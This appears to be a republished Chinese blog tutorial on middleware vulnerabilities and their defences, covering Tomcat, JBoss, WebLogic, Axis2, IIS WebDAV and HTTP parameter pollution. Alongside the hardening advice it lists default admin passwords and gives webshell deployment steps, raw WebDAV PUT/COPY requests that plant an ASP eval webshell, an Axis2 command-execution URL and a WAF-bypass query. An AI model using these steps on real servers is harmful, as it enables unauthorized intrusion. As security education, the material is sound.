浅谈中间件漏洞与防护


中间件漏洞可以说是最容易被web管理员忽视的漏洞,原因很简单,因为这并不是应用程序代码上存在的漏洞,而是属于一种应用部署环境的配置不当或者使用不当造成的。
那么从实际情况来看,预防这种漏洞最大的难点,在于中间件安全该由谁负责?

我们在处理应急响应事件时经常遇到这么一种情况,客户网站代码是外包的,也就是第三方公司负责开发,而部署可能是由客户内部运维人员负责。暂不说他们对于中间件安全的重视程度与了解程度,只谈发现漏洞后如何处理,便是一团乱。开发商推卸说这并不是代码上的问题,他们完全是按照安全开发流程(SDL)走的,所以跟他无关;运维人员就一脸蒙蔽了,反驳道:你们当初没跟我说要配置什么啊,只是让我安装个程序就ok了,我怎么知道?

那么除此之外,开发人员以及运维人员对中间件安全意识的缺失也是一个重要因素,有些开发商可能会对自身代码进行安全检测,但只对代码部分进行审查是远远不够的。本篇用来记录总结一些常见的web中间件漏洞以及防护问题(记录的只是一部分,不代表全部),内容一部分摘自道哥的《白帽子讲web安全》一书,算做读书笔记亦或者读后感

中间件、容器、服务器傻傻分不清?

在谈中间件安全问题时,我觉得有必要先梳理下以上几种关系以及概念。当初我在接触这些概念时,脑子里就是一团浆糊,中间件、容器、服务器、webserver等等概念感觉彼此很相似,但又有所区别。因此在书写本篇时,我特意翻查了一些资料,试图梳理清这几者之间的关系。

基础概念与作用

这里只介绍web中间件、web服务器、web容器,因为除了web以外,其概念还可以扩展为数据库等。

web服务器

web服务器用于提供http服务,即向客户端返回信息,其可以处理HTTP协议,响应针对静态页面或图片的请求,控制页面跳转,或者把动态请求委托其它程序(中间件程序)等。

web中间件

web中间件用于提供系统软件和应用软件之间的连接,以便于软件各部件之间的沟通,其可以为一种或多种应用程序提供容器。

web容器

web容器用于给处于其中的应用程序组件(JSP,SERVLET)提供一个环境,是中间件的一个组成部分,它实现了对动态语言的解析。比如tomcat可以解析jsp,是因为其内部有一个jsp容器。

所属的类别

web服务器:IIS、Apache、nginx、tomcat、weblogic、websphere等。

web中间件:apache tomcat、BEA WebLogic、IBM WebSphere等。

web容器:JSP容器、SERVLET容器、ASP容器等。

注意:web中间件与web服务器是有重叠的,原因在于tomcat等web中间件也具备web服务器的功能。

重点分析

web服务器只是提供静态网页解析(如apache),或者提供跳转的这么一种服务。而web中间件(其包含web容器)可以解析动态语言,比如tomcat可以解析jsp(因为tomcat含有jsp容器),当然它也可以解析静态资源,因此它既是web中间件也是web服务器。不过tomcat解析静态资源的速度不如apache,因此常常两者结合使用。

Tomcat漏洞与防护

tomcat是apache的一个中间件软件,其可以提供jsp或者php的解析服务,为了方便远程管理与部署,安装完tomcat以后默认会有一个管理页面,管理员只需要远程上传一个WAR格式的文件,便可以将内容发布到网站,这一功能方便了管理员的同时也给黑客打开了方便之门,除此之外,tomcat还有一些样本页面,如果处理不当也会导致安全问题。

tomcat远程部署漏洞详情

tomcat管理地址通常是:

1

Http://localhost:8080/manager

默认账号密码:

1

2

3

4

root/root

tomcat/tomcat

admin admin

admin 123456

tomcat口令爆破

在默认不对tomcat做任何配置的时候爆破是无效的,而如果设置了账号密码就可以进行爆破。Tomcat的认证比较弱,Base64(用户名:密码)编码,请求响应码如果不是401(未经授权:访问由于凭据无效被拒绝。)即表示登录成功。登录成功后,可直接上传war文件,getshell(当然上传war文件需要manager权限)

getshell过程

首先将我们的.jsp shell文件打包为war文件:

1

jar -cvf shell.war shell.jsp

登录管理页面后,选择上传war文件。

浅谈中间件漏洞与防护

截图中间的目录便是上传成功以后的木马文件,可以点击浏览。

浅谈中间件漏洞与防护

直接在当前目录下访问shell.jsp。

Session Example样本页面

默认地址:

1

http://localhost/servlets-examples/servlet/SessionExample

用来设置任意会话变量,恶意使用可对应用程序造成破坏。

tomcat漏洞防护

  • 升级tomcat版本

  • 删除远程部署页面,或者限定页面的访问权限。

  • 找到/conf/tomcat-users.xml修改用户名密码以及权限。

  • 删除样例页面文件

JBoss漏洞与防护

JBoss这是一个基于JavaEE的应用服务器,与tomcat类似的是jboss也有远程部署平台,但不需要登陆。漏洞利用过程与tomcat类似,因此不再截图说明。除了远程部署漏洞外,jboss还存在反序列化漏洞,这里不再详述。

JBoss远程部署漏洞详情

默认管理后台地址:

1

http://localhost:8080

getshell过程

访问管理页面,查看jboss配置页面中的JMX Console,这是JBoss的管理台程序,进入后找到Jboss.deployment包,该包下有flavor=URL.type=DeploymentSccanner选项。进入部署页面后便可以上传war文件,但与tomcat不同的是它不是本地上传war文件,而是从远程地址下载,因此需要自己准备一个文件服务器,用于远程下载war到目标jboss服务器上。具体方法是在部署页面找到”ADDURL”方法,输入URL地址,点击invoke。除了以上方法外,JMX-Console提供的BSH方法,同样也可以部署war包。

JBoss漏洞防护

  • 开启jmx-console密码认证

  • 删除jmx-console.war与web-console.war

WebLogic漏洞与防护

weblogic是一个基于JavaEE构架的中间件,安装完weblogic默认会监听7001端口。漏洞利用过程与tomcat类似,因此不再截图说明。

Weblogic远程部署漏洞详情

默认后台地址:

1

http://localhost:7001/console/login/loginForm.jsp

账号密码:

  • 用户名密码均为:weblogic

  • 用户名密码均为:system

  • 用户名密码均为:portaladmin

  • 用户名密码均为:guest

getshell过程

成功登陆weblogic后台后,找到部署按钮,点击后选择安装,然后可以选择本地上传war包也可以利用远程url下载,部署完成后,weblogic会给出文件地址。

Weblogic漏洞防护

  • 删除远程部署页面

axis2漏洞与防护

axis2也是apache的一个项目,是新一代的SOAP引擎,其存在一个任意命令执行漏洞。(该漏洞来自补天平台)

axis2命令执行漏洞详情

默认后台地址:

1

http://localhost/axis2-admin/

默认账号密码:admin与axis2

登录后效果如下:

浅谈中间件漏洞与防护

执行系统命令poc

1

http://localhost/services/Axis2Shell/execCmd?cmd=whoami

IIS漏洞与防护

IIS是微软的一款web服务器,其配置不当容易产生webdav漏洞。webdav本身是iis的一项扩展功能,开启后可以使用除了get、post以外的一些请求类型,比如put等。但如果配置不当,就会导致文件上传漏洞。除了webdav漏洞,近期还爆出了一个远程命令执行漏洞,具体移步:IIS6.0远程命令执行漏洞(CVE-2017-7269)

IIS Webdav漏洞详情

测试一个站点是否存在webdav漏洞时,可以先构造一个OPTIONS请求,若返回200,则查看返回头的Allow参数中包含哪些方法(可以请求)。

1

2

OPTIONS / HTTP/1.1

Host:thief.one

如果存在PUT方法,则可以尝试写入一个txt文件。

PUT /shell.txt HTTP/1.1

HOST:thief.one

Content-length:30

<%eval request("nmask")%>

若返回200则说明上传成功,此时可以手动访问此文件,确认是否存在。当然也有可能返回403,这表示此目录没有上传的权限,可以尝试上传到其他目录。

通过MOVE或COPY方法改文件后缀名。

1

2

3

COPY /shell.txt HTTP/1.1

HOST:thief.one

Destination:http://thief.one/shell.asp

IIS漏洞防护

  • 关闭webdav功能

Apache漏洞与防护

Apache本身也存在一些漏洞,比如slowhttp漏洞,当然官方认为其是apache的特性而不算是一种漏洞,然而事实证明它的危害真的很大。除了slowhttp漏洞以外,其第三方moudle存在很多反序列化或者远程命令执行的漏洞。

Apache slowhttp漏洞详情

关于slowhttp漏洞请移步:浅谈DDOS攻击与防御

HPP漏洞

HPP漏洞是web容器处理http参数时的问题,前面几款web服务器都或多或少存在这样的问题。

1

2

3

4

<?php

$str
= $_REQUEST
[ ‘str’
]; #$_REQUEST[]函数可以接受GET/POST。

Echo $str
;

?>

比如访问URL:

1

http://www.xxx.com/index.php?str=hello

此时页面显示hello

但如果访问:

1

http://www.xxx.com/index.php?str=hello&str=world&str=nmask

此时页面显示nmask,把前面参数的值给覆盖了,这就是http参数污染。

利用场景

绕过WAF,如:

1

PHP:index.php?str=1&str=select * from admin –

因为WAF可能会校验值的第一个单词,如果为select则触发,这样子可以避免被触发。

原文 

http://mp.weixin.qq.com/s?__biz=MzI5NTQ5MTAzMA==&mid=2247484190&idx=1&sn=a96d1ad07e1e1d7bb4fd2abd8bb55839

本站部分文章源于互联网,本着传播知识、有益学习和研究的目的进行的转载,为网友免费提供。如有著作权人或出版方提出异议,本站将立即删除。如果您对文章转载有任何疑问请告之我们,以便我们及时纠正。

PS:推荐一个微信公众号: askHarries 或者qq群:474807195,里面会分享一些资深架构师录制的视频录像:有Spring,MyBatis,Netty源码分析,高并发、高性能、分布式、微服务架构的原理,JVM性能优化这些成为架构师必备的知识体系。还能领取免费的学习资源,目前受益良多

转载请注明原文出处:Harries Blog™ » 浅谈中间件漏洞与防护

赞 (0)
分享到:更多 ()

评论 0

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址